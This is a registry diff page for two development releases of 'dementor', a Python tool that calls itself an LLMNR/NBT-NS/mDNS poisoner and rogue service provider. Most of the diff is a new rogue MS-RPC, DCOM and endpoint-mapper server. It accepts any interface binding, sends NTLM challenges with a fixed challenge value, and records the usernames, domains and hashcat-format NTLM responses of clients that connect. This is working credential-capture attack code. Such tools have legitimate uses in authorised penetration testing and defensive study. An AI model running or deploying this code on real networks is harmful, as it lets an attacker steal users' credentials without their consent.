dementor 1.0.0.dev1__tar.gz → 1.0.0.dev2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of dementor might be problematic. Click here for more details.

Files changed (42) hide show
  1. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/PKG-INFO +1 -1
  2. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/__init__.py +1 -1
  3. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/config.py +1 -0
  4. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/loader.py +15 -6
  5. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/protocols/http.py +6 -1
  6. dementor-1.0.0.dev2/dementor/protocols/msrpc/__init__.py +0 -0
  7. dementor-1.0.0.dev2/dementor/protocols/msrpc/dcom.py +65 -0
  8. dementor-1.0.0.dev2/dementor/protocols/msrpc/epm.py +72 -0
  9. dementor-1.0.0.dev2/dementor/protocols/msrpc/rpc.py +374 -0
  10. dementor-1.0.0.dev2/dementor/protocols/msrpc.py +34 -0
  11. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/protocols/netbios.py +4 -0
  12. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor.egg-info/PKG-INFO +1 -1
  13. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor.egg-info/SOURCES.txt +9 -1
  14. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/pyproject.toml +1 -1
  15. dementor-1.0.0.dev2/test/test_dcerpc.py +15 -0
  16. dementor-1.0.0.dev2/test/test_dcom.py +51 -0
  17. dementor-1.0.0.dev2/test/test_epm.py +40 -0
  18. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/LICENSE +0 -0
  19. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/README.md +0 -0
  20. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/__main__.py +0 -0
  21. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/database.py +0 -0
  22. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/filters.py +0 -0
  23. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/logger.py +0 -0
  24. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/paths.py +0 -0
  25. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/protocols/__init__.py +0 -0
  26. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/protocols/ftp.py +0 -0
  27. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/protocols/kerberos.py +0 -0
  28. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/protocols/ldap.py +0 -0
  29. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/protocols/llmnr.py +0 -0
  30. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/protocols/mdns.py +0 -0
  31. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/protocols/ntlm.py +0 -0
  32. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/protocols/quic.py +0 -0
  33. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/protocols/smb.py +0 -0
  34. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/protocols/smtp.py +0 -0
  35. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/protocols/spnego.py +0 -0
  36. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/servers.py +0 -0
  37. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor/standalone.py +0 -0
  38. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor.egg-info/dependency_links.txt +0 -0
  39. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor.egg-info/entry_points.txt +0 -0
  40. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/dementor.egg-info/top_level.txt +0 -0
  41. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/docs/README.pypi.md +0 -0
  42. {dementor-1.0.0.dev1 → dementor-1.0.0.dev2}/setup.cfg +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: dementor
3
- Version: 1.0.0.dev1
3
+ Version: 1.0.0.dev2
4
4
  Summary: LLMNR/NBT-NS/mDNS Poisoner and rogue service provider
5
5
  Author: MatrixEditor
6
6
  Maintainer: MatrixEditor
@@ -18,5 +18,5 @@
18
18
  # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
19
  # SOFTWARE.
20
20
 
21
- __version__ = "1.0.0.dev1"
21
+ __version__ = "1.0.0.dev2"
22
22
  __author__ = "MatrixEditor"
@@ -151,6 +151,7 @@ class SessionConfig(TomlConfig):
151
151
  Attribute("quic_enabled", "QUIC", True, factory=is_true),
152
152
  Attribute("mdns_enabled", "mDNS", True, factory=is_true),
153
153
  Attribute("http_enabled", "HTTP", True, factory=is_true),
154
+ Attribute("msrpc_enabled", "RPC", True, factory=is_true),
154
155
  Attribute("extra_modules", "ExtraModules", list),
155
156
  Attribute("workspace_path", "Workspace", DEMENTOR_PATH),
156
157
  ]
@@ -18,6 +18,7 @@
18
18
  # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
19
  # SOFTWARE.
20
20
  import argparse
21
+ from ntpath import isfile
21
22
  import types
22
23
  import os
23
24
  import dementor
@@ -30,6 +31,10 @@ from dementor.paths import DEMENTOR_PATH
30
31
  class ProtocolLoader:
31
32
  def __init__(self) -> None:
32
33
  self.rs_path = os.path.join(DEMENTOR_PATH, "protocols")
34
+ self.search_path = [
35
+ os.path.join(os.path.dirname(dementor.__file__), "protocols"),
36
+ self.rs_path,
37
+ ]
33
38
 
34
39
  def load_protocol(self, protocol_path: str) -> types.ModuleType:
35
40
  loader = SourceFileLoader("protocol", protocol_path)
@@ -39,10 +44,7 @@ class ProtocolLoader:
39
44
 
40
45
  def get_protocols(self, session=None):
41
46
  protocols = {}
42
- protocol_paths = [
43
- os.path.join(os.path.dirname(dementor.__file__), "protocols"),
44
- self.rs_path,
45
- ]
47
+ protocol_paths = list(self.search_path)
46
48
 
47
49
  if session is not None:
48
50
  protocol_paths.extend(session.extra_modules)
@@ -51,8 +53,16 @@ class ProtocolLoader:
51
53
  if not os.path.exists(path):
52
54
  continue
53
55
 
54
- # TODO: check for directory
56
+ if os.path.isfile(path):
57
+ if not path.endswith(".py"):
58
+ continue
59
+
60
+ protocol_path = path
61
+ name = os.path.basename(path)[:-3]
62
+ protocols[name] = protocol_path
63
+ continue
55
64
 
65
+ # TODO: check for directory
56
66
  for filename in os.listdir(path):
57
67
  if not filename.endswith(".py") or filename == "__init__.py":
58
68
  continue
@@ -87,4 +97,3 @@ class ProtocolLoader:
87
97
  return protocol.create_server_threads(session)
88
98
 
89
99
  return []
90
-
@@ -208,7 +208,12 @@ class HTTPHandler(BaseHTTPRequestHandler):
208
208
  def do_OPTIONS(self):
209
209
  # always support everything
210
210
  self.send_response(HTTPStatus.OK)
211
- self.send_header("Allow", "OPTIONS,GET,HEAD,POST,TRACE")
211
+ self.send_header("Allow", "OPTIONS,GET,HEAD,POST,TRACE,PROPFIND")
212
+ self.end_headers()
213
+
214
+ def do_HEAD(self):
215
+ self.send_response(HTTPStatus.OK)
216
+ self.send_header("Content-Length", "0")
212
217
  self.end_headers()
213
218
 
214
219
  def version_string(self) -> str:
@@ -0,0 +1,65 @@
1
+ from array import array
2
+ from impacket.dcerpc.v5 import dcomrt, rpcrt
3
+ from dementor.protocols.msrpc.rpc import rev_rpc_status_codes
4
+
5
+
6
+ __uuid__ = [
7
+ "00000000-0000-0000-C000-000000000046",
8
+ "00000131-0000-0000-C000-000000000046",
9
+ "00000134-0000-0000-C000-000000000046",
10
+ "00000143-0000-0000-C000-000000000046",
11
+ "000001A0-0000-0000-C000-000000000046",
12
+ "18F70770-8E64-11CF-9AF1-0020AF6E72F4",
13
+ "4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57",
14
+ "6050B110-CE87-4126-A114-50AEFCFC95F8",
15
+ "99FCFEC4-5260-101B-BBCB-00AA0021347A",
16
+ ]
17
+
18
+
19
+ def handle_request(rpc, request: rpcrt.MSRPCRequestHeader, _data) -> int | str:
20
+ op_num = request["op_num"]
21
+
22
+ if op_num == dcomrt.ServerAlive2.opnum:
23
+ # build response packet with our IP in answer RR
24
+ alive_resp = dcomrt.ServerAlive2Response()
25
+ alive_resp["pComVersion"] = dcomrt.COMVERSION()
26
+ alive_resp["ErrorCode"] = 0
27
+
28
+ bindings = dcomrt.DUALSTRINGARRAY()
29
+ data_buf = array("H")
30
+
31
+ # StringBinding: current IPv4 (we could also use hostname here)
32
+ binding = dcomrt.STRINGBINDING()
33
+ binding["wTowerId"] = 0x07 # ncacn_ip_tcp
34
+ binding["aNetworkAddr"] = f"{rpc.config.ipv4}\x00"
35
+ data_buf.extend(array("H", binding.getData()))
36
+
37
+ data_buf.append(0x00) # end of string bindings
38
+ sec_offset = len(data_buf)
39
+
40
+ # We only support NTLM Authentication
41
+ binding = dcomrt.SECURITYBINDING()
42
+ binding["wAuthnSvc"] = rpcrt.RPC_C_AUTHN_WINNT
43
+ binding["aPrincName"] = "\x00"
44
+ binding["Reserved"] = 0xFFFF
45
+ data_buf.extend(array("H", binding.getData()))
46
+ data_buf.append(0x00) # end of security bindings
47
+
48
+ bindings["wNumEntries"] = len(data_buf)
49
+ bindings["wSecurityOffset"] = sec_offset
50
+ bindings["aStringArray"] = data_buf
51
+ alive_resp["ppdsaOrBindings"] = bindings
52
+
53
+ resp = rpcrt.MSRPCRespHeader()
54
+ resp["type"] = rpcrt.MSRPC_RESPONSE
55
+ resp["call_id"] = request["call_id"]
56
+ resp["ctx_id"] = request["ctx_id"]
57
+ resp["auth_data"] = b""
58
+ resp["flags"] = rpcrt.PFC_FIRST_FRAG | rpcrt.PFC_LAST_FRAG
59
+ resp["pduData"] = alive_resp.getData()
60
+ resp["frag_len"] = len(resp.get_packet())
61
+ resp["alloc_hint"] = len(resp.get_packet())
62
+ rpc.send(resp.getData())
63
+ return 0
64
+
65
+ return rev_rpc_status_codes["nca_s_unk_op"]
@@ -0,0 +1,72 @@
1
+ import socket
2
+ import struct
3
+
4
+ from impacket.dcerpc.v5 import epm, rpcrt
5
+ from dementor.protocols.msrpc.rpc import uuid_name, rev_rpc_status_codes
6
+
7
+ __uuid__ = epm.MSRPC_UUID_PORTMAP
8
+
9
+
10
+ def handle_request(rpc, request: rpcrt.MSRPCRequestHeader, _data) -> int | str:
11
+ op_num = request["op_num"]
12
+ if op_num == 0x03:
13
+ # Operation: Map (3)
14
+ map_req = epm.ept_map(request["pduData"])
15
+ map_resp = epm.ept_mapResponse()
16
+ map_resp["status"] = 0 # success
17
+ map_resp["num_towers"] = 1
18
+ map_resp["entry_handle"] = map_req["entry_handle"]
19
+
20
+ req_tower = epm.EPMTower(b"".join(map_req["map_tower"]["tower_octet_string"]))
21
+ req_floors = req_tower["Floors"]
22
+ resp_tower = epm.EPMTower()
23
+ resp_floors = []
24
+
25
+ # First floor will be the interface
26
+ interface = req_floors[0]["InterfaceUUID"]
27
+ interface += struct.pack(
28
+ "<HH", req_floors[0]["MajorVersion"], req_floors[0]["MinorVersion"]
29
+ )
30
+ # Second floor must map to the same syntax -> TODO
31
+ # Third floor MUST be TCP
32
+ resp_floors.extend(req_floors[:3])
33
+
34
+ epm_port = epm.EPMPortAddr()
35
+ epm_port["IpPort"] = rpc.rpc_config.epm_port
36
+ resp_floors.append(epm_port)
37
+
38
+ epm_host = epm.EPMHostAddr()
39
+ epm_host["Ip4addr"] = socket.inet_aton(rpc.config.ipv4)
40
+ resp_floors.append(epm_host)
41
+
42
+ resp_tower["NumberOfFloors"] = len(resp_floors)
43
+ resp_tower["Floors"] = b"".join([i.getData() for i in resp_floors])
44
+
45
+ resp_tower_data = epm.twr_p_t()
46
+ resp_tower_data["tower_octet_string"] = resp_tower.getData()
47
+ resp_tower_data["tower_length"] = len(resp_tower_data["tower_octet_string"])
48
+ resp_tower_data["ReferentID"] = 3
49
+
50
+ # NOTE: impacket automatically sets "MaximumCount" to 1, which causes connections
51
+ # to fail with Windows systems. We should use 4 (default) or the number mentioned
52
+ # in the request.
53
+ resp_towers = epm.twr_p_t_array()
54
+ resp_towers["Data"] = [resp_tower_data]
55
+ resp_towers["ActualCount"] = 1
56
+ resp_towers["MaximumCount"] = 4
57
+ map_resp["ITowers"] = resp_towers
58
+ rpc.logger.display(f"Map request for [b]{uuid_name(interface)}[/]")
59
+
60
+ resp = rpcrt.MSRPCRespHeader()
61
+ resp["type"] = rpcrt.MSRPC_RESPONSE
62
+ resp["call_id"] = request["call_id"]
63
+ resp["ctx_id"] = request["ctx_id"]
64
+ resp["auth_data"] = b""
65
+ resp["flags"] = rpcrt.PFC_FIRST_FRAG | rpcrt.PFC_LAST_FRAG
66
+ resp["pduData"] = map_resp.getData()
67
+ resp["frag_len"] = len(resp.get_packet())
68
+ resp["alloc_hint"] = len(resp.get_packet())
69
+ rpc.send(resp.get_packet())
70
+ return 0
71
+
72
+ return rev_rpc_status_codes["nca_s_unk_op"]
@@ -0,0 +1,374 @@
1
+ import os
2
+ import struct
3
+ import random
4
+ import threading
5
+
6
+ from collections import defaultdict
7
+ from typing import Any, Callable
8
+ from dataclasses import dataclass
9
+
10
+ from impacket.dcerpc.v5 import rpcrt, epm
11
+ from impacket import ntlm
12
+
13
+ from dementor.config import Attribute as A, TomlConfig, is_true
14
+ from dementor.logger import ProtocolLogger, dm_logger
15
+ from dementor.protocols.ntlm import (
16
+ NTLM_AUTH_CreateChallenge,
17
+ NTLM_AUTH_decode_string,
18
+ NTLM_AUTH_to_hashcat_format,
19
+ NTLM_split_fqdn,
20
+ )
21
+ from dementor.servers import ThreadingTCPServer, BaseProtoHandler
22
+ from dementor.loader import ProtocolLoader
23
+
24
+ rev_rpc_status_codes = {name: value for value, name in rpcrt.rpc_status_codes.items()}
25
+
26
+
27
+ def uuid_name(uuid_bin: bytes) -> str:
28
+ uuid_str, version = rpcrt.bin_to_uuidtup(uuid_bin)
29
+ if uuid_bin == epm.MSRPC_UUID_PORTMAP:
30
+ return f"EPMv4 v{version}"
31
+ elif uuid_str in epm.KNOWN_PROTOCOLS:
32
+ return f"{epm.KNOWN_PROTOCOLS[uuid_str]} v{version}"
33
+ elif uuid_bin in epm.KNOWN_UUIDS:
34
+ return f"{epm.KNOWN_UUIDS[uuid_bin]} v{version}"
35
+ else:
36
+ return f"UUID {uuid_str} v{version}"
37
+
38
+
39
+ class RPCConfig(TomlConfig):
40
+ _section_ = "RPC"
41
+ _fields_ = [
42
+ A("rpc_ntlm_challenge", "NTLM.Challenge", b"A" * 8),
43
+ A("rpc_fqdn", "FQDN", "DEMENTOR", section_local=False),
44
+ A("rpc_ntlm_ess", "NTLM.ExtendedSessionSecurity", True, factory=is_true),
45
+ A("epm_port", "EPM.TargetPort", 49000),
46
+ A("epm_port_range", "EPM.TargetPortRange", None),
47
+ A("rpc_modules", "Interfaces", list),
48
+ A("rpc_error_code", "ErrorCode", "rpc_s_access_denied"),
49
+ ]
50
+
51
+ def set_rcp_error_code(self, value: str | int):
52
+ if isinstance(value, str):
53
+ value = rev_rpc_status_codes[value]
54
+
55
+ if not isinstance(value, int):
56
+ dm_logger.error(
57
+ f"Invalid RPC error code: {value} - using default: rpc_s_access_denied"
58
+ )
59
+ value = rev_rpc_status_codes["rpc_s_access_denied"]
60
+
61
+ self.rpc_error_code = value
62
+
63
+ def set_epm_port_range(self, value: str | dict):
64
+ start = end = None
65
+ match value:
66
+ case dict():
67
+ # must store START and END
68
+ start = value.get("start", 45000)
69
+ end = value.get("end", 49999)
70
+
71
+ case str():
72
+ # format [START]-END or START-[END]
73
+ values = value.split("-")
74
+ if len(values) == 2:
75
+ start = values[0] or 45000
76
+ end = values[1] or 49999
77
+
78
+ self.epm_port_range = None
79
+ if start is not None and end is not None:
80
+ if isinstance(start, str):
81
+ start = int(start)
82
+
83
+ if isinstance(end, str):
84
+ end = int(end)
85
+
86
+ self.epm_port_range = (start, end)
87
+ self.epm_port = random.randrange(start, end)
88
+
89
+ def set_rpc_modules(self, extra_paths: list):
90
+ loader = ProtocolLoader()
91
+ loader.search_path = [os.path.dirname(__file__)]
92
+ loader.search_path.extend(extra_paths)
93
+ self.rpc_modules = [
94
+ loader.load_protocol(path) for path in loader.get_protocols().values()
95
+ ]
96
+
97
+
98
+ @dataclass(slots=True)
99
+ class RPCConnection:
100
+ call_id: int = -1
101
+ ctx_id: int = -1
102
+ auth_ctx_id: int = -1
103
+ challenge: ntlm.NTLMAuthChallenge | None = None
104
+ target: Any | None = None
105
+
106
+
107
+ class RPCHandler(BaseProtoHandler):
108
+ def __init__(self, config, request, client_address, server) -> None:
109
+ self.rpc_config = config.rpc_config
110
+ super().__init__(config, request, client_address, server)
111
+
112
+ def proto_logger(self) -> ProtocolLogger:
113
+ return ProtocolLogger(
114
+ extra={
115
+ "protocol": "DCE/RPC",
116
+ "protocol_color": "dark_violet",
117
+ "host": self.client_host,
118
+ "port": self.server.server_address[1],
119
+ }
120
+ )
121
+
122
+ def _send_fault(self, header, code):
123
+ packet = rpcrt.MSRPCRespHeader()
124
+ packet["flags"] = rpcrt.PFC_FIRST_FRAG | rpcrt.PFC_LAST_FRAG
125
+ packet["frag_len"] = 0
126
+ packet["auth_len"] = 0
127
+ packet["auth_data"] = b""
128
+ packet["call_id"] = header["call_id"]
129
+ packet["type"] = rpcrt.MSRPC_FAULT
130
+ if code:
131
+ packet["pduData"] = struct.pack("<LL", code, 0x00)
132
+ packet["frag_len"] = len(packet)
133
+
134
+ self.send(packet.get_packet())
135
+
136
+ def handle_data(self, data, transport) -> None:
137
+ transport.settimeout(0.3)
138
+ while True:
139
+ try:
140
+ data = self.recv(8192)
141
+ except OSError:
142
+ break
143
+
144
+ if not data:
145
+ return
146
+
147
+ header = rpcrt.MSRPCHeader(data)
148
+ match header["type"]:
149
+ case 0x00: # Request
150
+ code = self.handle_request(data)
151
+ case 0x0B: # BIND
152
+ bind_req = rpcrt.MSRPCBind(header["pduData"])
153
+ code = self.handle_bind(header, bind_req)
154
+ case 0x10: # AUTH3
155
+ code = self.handle_auth3(header)
156
+ case _:
157
+ code = rev_rpc_status_codes["rpc_fault_cant_perform"]
158
+
159
+ if isinstance(code, str):
160
+ code = rev_rpc_status_codes[code]
161
+
162
+ if code != 0:
163
+ self.server.rem_conn_by_call_id(header["call_id"])
164
+ self._send_fault(header, code)
165
+ break
166
+
167
+ def handle_bind(
168
+ self, header: rpcrt.MSRPCHeader, bind_req: rpcrt.MSRPCBind
169
+ ) -> str | int:
170
+ syntax = ("8a885d04-1ceb-11c9-9fe8-08002b104860", "2.0")
171
+ bind_ack = rpcrt.MSRPCBindAck()
172
+
173
+ bind_ack["type"] = rpcrt.MSRPC_BINDACK
174
+ bind_ack["flags"] = rpcrt.PFC_FIRST_FRAG | rpcrt.PFC_LAST_FRAG
175
+ bind_ack["frag_len"] = 0
176
+ bind_ack["auth_len"] = 0
177
+ bind_ack["auth_data"] = b""
178
+ bind_ack["call_id"] = header["call_id"]
179
+ bind_ack["max_tfrag"] = bind_req["max_tfrag"]
180
+ bind_ack["max_rfrag"] = bind_req["max_rfrag"]
181
+ bind_ack["assoc_group"] = 0x0CC5
182
+ bind_ack["ctx_num"] = 0
183
+ bind_ack["SecondaryAddrLen"] = 0
184
+
185
+ ctx_items = []
186
+ data = bind_req["ctx_items"]
187
+ conn = self.server.get_conn_by_call_id(header["call_id"])
188
+ endpoints = set()
189
+ for _ in range(bind_req["ctx_num"]):
190
+ result = rpcrt.MSRPC_CONT_RESULT_PROV_REJECT
191
+ ctx_item = rpcrt.CtxItem(data)
192
+ item_result = rpcrt.CtxItemResult()
193
+ data = data[len(ctx_item) :]
194
+
195
+ # The syntax must be checked. It will be one of the first entries
196
+ # -> We have to select the right one
197
+ if ctx_item["TransferSyntax"] == rpcrt.uuidtup_to_bin(syntax):
198
+ # accepted, regardless of the abstract syntax (WE WANT TO CATCH 'EM ALL)
199
+ reason = 0
200
+ result = rpcrt.MSRPC_CONT_RESULT_ACCEPT
201
+ bind_ack["SecondaryAddr"] = "135" # send to the same port
202
+ bind_ack["SecondaryAddrLen"] = 4
203
+ item_result["TransferSyntax"] = rpcrt.uuidtup_to_bin(syntax)
204
+ else:
205
+ reason = 2 # transfer syntax not supported
206
+ item_result["TransferSyntax"] = bytes(16)
207
+
208
+ abstract_syntax = ctx_item["AbstractSyntax"]
209
+ endpoints.add(uuid_name(abstract_syntax))
210
+ conn.target = self.server.get_handler_by_uuid(abstract_syntax)
211
+
212
+ bind_ack["ctx_num"] += 1
213
+ item_result["Result"] = result
214
+ item_result["Reason"] = reason
215
+ ctx_items.append(item_result)
216
+
217
+ bind_ack["Pad"] = "A" * (
218
+ 4 - ((bind_ack["SecondaryAddrLen"] + bind_ack._SIZE) % 4)
219
+ )
220
+ bind_ack["ctx_items"] = b"".join([i.getData() for i in ctx_items])
221
+
222
+ endpoints_fmt = ", ".join({f"[b]{e}[/b]" for e in endpoints})
223
+ # handle AUTH data if present
224
+ if header["sec_trailer"]:
225
+ sec_trailer = rpcrt.SEC_TRAILER(header["sec_trailer"])
226
+ auth_type = sec_trailer["auth_type"]
227
+ if auth_type != rpcrt.RPC_C_AUTHN_WINNT:
228
+ # reject everything else
229
+ self.logger.display(
230
+ f"Rejecting Bind request for {endpoints_fmt} using AuthType: {auth_type:#x}"
231
+ )
232
+ return rev_rpc_status_codes["nca_s_unsupported_authn_level"]
233
+
234
+ token = header["auth_data"]
235
+ auth_ctx_id = sec_trailer["auth_ctx_id"]
236
+ conn.auth_ctx_id = auth_ctx_id
237
+ (msg_type,) = struct.unpack("<L", token[8:12])
238
+ if msg_type == 0x01: # NEGOTIATE
239
+ # generate challenge
240
+ negotiate = ntlm.NTLMAuthNegotiate()
241
+ negotiate.fromString(token)
242
+ challenge = NTLM_AUTH_CreateChallenge(
243
+ negotiate,
244
+ *NTLM_split_fqdn(self.rpc_config.rpc_fqdn),
245
+ challenge=self.rpc_config.rpc_ntlm_challenge,
246
+ disable_ess=not self.rpc_config.rpc_ntlm_ess,
247
+ )
248
+ bind_ack["auth_data"] = challenge.getData()
249
+ bind_ack["auth_len"] = len(bind_ack["auth_data"])
250
+ bind_ack["sec_trailer"] = sec_trailer.getData()
251
+ if endpoints_fmt:
252
+ self.logger.display(
253
+ f"Bind request for {endpoints_fmt} (NTLMSSP_NEGOTIATE)"
254
+ )
255
+ conn.challenge = challenge
256
+ else:
257
+ self.logger.debug(f"(NTLM) Unhandled message type: {msg_type:#x}")
258
+ else:
259
+ if endpoints_fmt:
260
+ self.logger.display(
261
+ f"Bind request for {endpoints_fmt} (TransferSyntax Negotiation)"
262
+ )
263
+
264
+ bind_ack["frag_len"] = len(bind_ack.getData())
265
+ self.send(bind_ack.getData())
266
+ return 0x00
267
+
268
+ def handle_auth3(self, header: rpcrt.MSRPCHeader):
269
+ if not header["sec_trailer"]:
270
+ return rev_rpc_status_codes["nca_s_unsupported_authn_level"]
271
+
272
+ sec_trailer = rpcrt.SEC_TRAILER(header["sec_trailer"])
273
+ auth_type = sec_trailer["auth_type"]
274
+ if auth_type != rpcrt.RPC_C_AUTHN_WINNT:
275
+ # reject everything else
276
+ self.logger.display(
277
+ f"Rejecting AUTH3 request using AuthType: {auth_type:#x}"
278
+ )
279
+ return rev_rpc_status_codes["nca_s_unsupported_authn_level"]
280
+
281
+ conn = self.server.get_conn_by_call_id(header["call_id"])
282
+ token = header["auth_data"]
283
+ if not conn.challenge:
284
+ # challenge not set, invalid request
285
+ return rev_rpc_status_codes["rpc_fault_cant_perform"] # REVISIT
286
+
287
+ auth_resp = ntlm.NTLMAuthChallengeResponse()
288
+ auth_resp.fromString(token)
289
+ flags = auth_resp["flags"]
290
+ hversion, hstring = NTLM_AUTH_to_hashcat_format(
291
+ conn.challenge["challenge"].encode(),
292
+ auth_resp["user_name"],
293
+ auth_resp["domain_name"],
294
+ auth_resp["lanman"],
295
+ auth_resp["ntlm"],
296
+ flags,
297
+ )
298
+ self.config.db.add_auth(
299
+ client=self.client_address,
300
+ credtype=hversion,
301
+ username=NTLM_AUTH_decode_string(auth_resp["user_name"], flags),
302
+ domain=NTLM_AUTH_decode_string(auth_resp["domain_name"], flags),
303
+ logger=self.logger,
304
+ password=hstring,
305
+ )
306
+ return self.rpc_config.rpc_error_code
307
+
308
+ def handle_request(self, data):
309
+ request = rpcrt.MSRPCRequestHeader(data)
310
+ conn = self.server.get_conn_by_call_id(request["call_id"])
311
+ conn.ctx_id = request["ctx_id"]
312
+ if not conn.target:
313
+ # Interface not set, we can't handle this
314
+ return rev_rpc_status_codes["nca_s_unk_if"]
315
+
316
+ return conn.target(self, request, data)
317
+
318
+
319
+ RPCEndpointHandler = Callable[[RPCHandler, rpcrt.MSRPCHeader, bytes], int]
320
+
321
+
322
+ class MSRPCServer(ThreadingTCPServer):
323
+ default_port = 135
324
+ default_handler_class = RPCHandler
325
+ service_name = "DCE/RPC"
326
+
327
+ def __init__(
328
+ self, config, handles=None, server_address=None, RequestHandlerClass=None
329
+ ) -> None:
330
+ self.conn_data = handles or defaultdict(RPCConnection)
331
+ super().__init__(config, server_address, RequestHandlerClass)
332
+
333
+ def get_conn_by_call_id(self, call_id: int) -> RPCConnection:
334
+ with threading.Lock():
335
+ conn = self.conn_data[call_id]
336
+ if conn.call_id == -1:
337
+ conn.call_id = call_id
338
+ return conn
339
+
340
+ def get_conn_by_auth_ctx_id(self, auth_ctx_id: int) -> RPCConnection:
341
+ conn = next(
342
+ filter(lambda x: x.auth_ctx_id == auth_ctx_id, self.conn_data.values()),
343
+ None,
344
+ )
345
+ if conn is None:
346
+ conn = RPCConnection()
347
+ conn.auth_ctx_id = auth_ctx_id
348
+ self.conn_data[auth_ctx_id] = conn
349
+ return conn
350
+
351
+ def rem_conn_by_call_id(self, call_id: int):
352
+ self.conn_data.pop(call_id, None)
353
+
354
+ def _module_handler(self, module) -> RPCEndpointHandler | None:
355
+ func = getattr(module, "handle_request", None)
356
+ if func:
357
+ return func
358
+
359
+ handler_cls = getattr(module, "RPCEndpointHandlerClass", None)
360
+ if handler_cls:
361
+ return handler_cls()
362
+
363
+ def get_handler_by_uuid(self, uuid: bytes) -> RPCEndpointHandler | None:
364
+ uuid_str, _ = rpcrt.bin_to_uuidtup(uuid)
365
+ for module in self.config.rpc_config.rpc_modules:
366
+ mod_uuid = getattr(module, "__uuid__", None)
367
+ if mod_uuid == uuid or mod_uuid == uuid_str:
368
+ return self._module_handler(module)
369
+
370
+ if isinstance(mod_uuid, list):
371
+ if uuid in mod_uuid or uuid_str.upper() in mod_uuid:
372
+ return self._module_handler(module)
373
+
374
+ return None
@@ -0,0 +1,34 @@
1
+ from collections import defaultdict
2
+ from dementor.config import TomlConfig
3
+ from dementor.servers import ServerThread
4
+ from dementor.protocols.msrpc.rpc import MSRPCServer, RPCConfig, RPCConnection
5
+
6
+
7
+ def apply_config(session):
8
+ session.rpc_config = TomlConfig.build_config(RPCConfig)
9
+
10
+ for module in session.rpc_config.rpc_modules:
11
+ # load custom config
12
+ if hasattr(module, "apply_config"):
13
+ module.apply_config(session)
14
+
15
+
16
+ def create_server_threads(session):
17
+ addr = "::" if session.ipv6 else session.ipv4 # necessary
18
+
19
+ # connection data will be shared across both servers
20
+ conn_data = defaultdict(RPCConnection)
21
+ return [
22
+ ServerThread(
23
+ session,
24
+ MSRPCServer,
25
+ server_address=(addr, 135),
26
+ handles=conn_data,
27
+ ),
28
+ ServerThread(
29
+ session,
30
+ MSRPCServer,
31
+ server_address=(addr, session.rpc_config.epm_port),
32
+ handles=conn_data,
33
+ ),
34
+ ]
@@ -97,6 +97,10 @@ class NetBiosNSPoisoner(BaseProtoHandler):
97
97
 
98
98
  if header.OPCODE == 0x0:
99
99
  # name query --> this is what we are looking for
100
+ if header.haslayer(netbios.NBNSNodeStatusRequest):
101
+ # we should handle those too
102
+ return
103
+
100
104
  request = header[netbios.NBNSQueryRequest]
101
105
  suffix = netbios._NETBIOS_SUFFIXES.get(
102
106
  request.SUFFIX,
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: dementor
3
- Version: 1.0.0.dev1
3
+ Version: 1.0.0.dev2
4
4
  Summary: LLMNR/NBT-NS/mDNS Poisoner and rogue service provider
5
5
  Author: MatrixEditor
6
6
  Maintainer: MatrixEditor
@@ -23,10 +23,18 @@ dementor/protocols/kerberos.py
23
23
  dementor/protocols/ldap.py
24
24
  dementor/protocols/llmnr.py
25
25
  dementor/protocols/mdns.py
26
+ dementor/protocols/msrpc.py
26
27
  dementor/protocols/netbios.py
27
28
  dementor/protocols/ntlm.py
28
29
  dementor/protocols/quic.py
29
30
  dementor/protocols/smb.py
30
31
  dementor/protocols/smtp.py
31
32
  dementor/protocols/spnego.py
32
- docs/README.pypi.md
33
+ dementor/protocols/msrpc/__init__.py
34
+ dementor/protocols/msrpc/dcom.py
35
+ dementor/protocols/msrpc/epm.py
36
+ dementor/protocols/msrpc/rpc.py
37
+ docs/README.pypi.md
38
+ test/test_dcerpc.py
39
+ test/test_dcom.py
40
+ test/test_epm.py
@@ -1,6 +1,6 @@
1
1
  [project]
2
2
  name = "dementor"
3
- version = "1.0.0.dev1"
3
+ version = "1.0.0.dev2"
4
4
